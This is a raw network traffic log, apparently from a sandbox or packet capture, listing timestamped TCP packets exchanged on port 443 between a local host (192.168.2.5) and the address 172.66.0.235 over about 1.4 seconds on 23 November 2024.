Nov 23, 2024 13:37:58.358836889 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.358850002 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.358876944 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.358901024 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.361144066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.361171007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.361221075 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.361236095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.361262083 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.361279011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.363605022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.363629103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.363677025 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.363696098 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.363722086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.363744020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.365444899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.365463972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.365513086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.365530968 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.365557909 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.365577936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.367791891 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.367813110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.367865086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.367878914 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.367934942 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.544121027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.544147015 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.544253111 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.544305086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.544395924 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.546334028 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.546355009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.546413898 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.546430111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.546504021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.548793077 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.548814058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.548854113 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.548867941 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.548898935 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.548985958 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.550682068 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.550703049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.550766945 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.550780058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.550806999 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.550860882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.552937984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.552957058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.553003073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.553034067 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.553064108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.553129911 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.555419922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.555440903 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.555486917 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.555500984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.555529118 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.555547953 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.557219982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.557240963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.557296038 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.557322979 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.557348013 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.557416916 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.559595108 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.559614897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.559684038 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.559696913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.559731007 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.559747934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.594294071 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.735579014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.735713005 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.735734940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.737545967 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.737566948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.737611055 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.737626076 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.737670898 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.739383936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.739403009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.739445925 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.739464998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.739487886 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.741780043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.741797924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.741852999 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.741867065 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.744247913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.744266033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.744302034 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.744321108 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.744344950 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.746026993 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.746046066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.746083975 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.746104002 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.746125937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.748483896 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.748503923 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.748539925 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.748558998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.748580933 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.750850916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.750868082 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.750907898 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.750926971 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.750948906 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.798517942 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.927836895 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.927870035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.927908897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.927927971 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.927956104 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.927998066 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.929649115 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.929670095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.929706097 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.929719925 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.929745913 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.929765940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.931452036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.931472063 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.931510925 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.931524992 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.931550980 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.931735039 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.933767080 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.933787107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.933830023 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.933842897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.933867931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.933887005 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.936288118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.936307907 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.936347008 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.936383963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.936410904 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.936429977 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.937999010 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.938021898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.938060045 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.938074112 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.938101053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.938136101 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.940491915 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.940511942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.940545082 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.940557957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.940584898 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.940640926 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.941220999 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.941278934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.942980051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.943008900 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.943054914 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.943073988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:58.943099976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:58.986017942 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.121552944 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.121584892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.121646881 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.121687889 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.121720076 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.121757030 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.123387098 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.123409033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.123466015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.123490095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.123568058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.125390053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.125446081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.125472069 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.125484943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.125516891 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.125538111 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.127079010 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.127139091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.127166986 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.127180099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.127207041 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.127223969 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.128853083 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.128911972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.128937960 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.128950119 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.128978968 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.128998995 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.131279945 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.131346941 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.131371975 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.131383896 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.131417990 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.131438017 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.133004904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.133049965 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.133089066 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.133116961 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.133142948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.133166075 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.135487080 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.135530949 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.135565042 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.135576010 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.135603905 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.135629892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.294214010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.320594072 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.320666075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.320741892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.320763111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.320801973 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.320822954 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.322233915 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.322280884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.322333097 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.322345972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.322376966 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.322395086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.324758053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.324800968 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.324832916 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.324843884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.324873924 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.324891090 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.327153921 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.327199936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.327227116 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.327238083 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.327265024 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.327280998 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.328082085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.328151941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.328165054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.330439091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.330480099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.330509901 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.330523014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.330550909 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.332664967 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.332705021 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.332736015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.332747936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.332776070 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.335175991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.335213900 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.335242033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.335278988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.335306883 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.337097883 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.337166071 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.337172985 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.337197065 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.337232113 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.376646996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.513451099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.513484955 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.513520002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.513541937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.513571024 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.513588905 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.515775919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.515799046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.515839100 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.515876055 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.515897036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.515912056 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.518032074 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.518053055 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.518098116 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.518105030 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.518131018 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.518151999 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.520495892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.520514965 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.520550013 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.520556927 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.520581007 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.520593882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.522270918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.522290945 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.522326946 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.522332907 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.522351027 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.522372007 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.524691105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.524718046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.524775982 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.524782896 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.524807930 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.524825096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.526858091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.526878119 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.526946068 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.526952028 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.526995897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.529319048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.529357910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.529400110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.529406071 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.529459000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.624308109 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.706348896 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.706417084 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.706511974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.706548929 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.706584930 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.706603050 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.708534956 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.708555937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.708594084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.708606005 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.708638906 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.708658934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.710417032 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.710437059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.710464954 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.710470915 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.710495949 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.710514069 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.712727070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.712745905 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.712775946 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.712781906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.712805986 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.712820053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.715173006 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.715193987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.715226889 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.715233088 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.715255976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.715267897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.717298031 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.717318058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.717361927 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.717369080 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.717412949 CET	49704	443	192.168.2.5	172.66.0.235
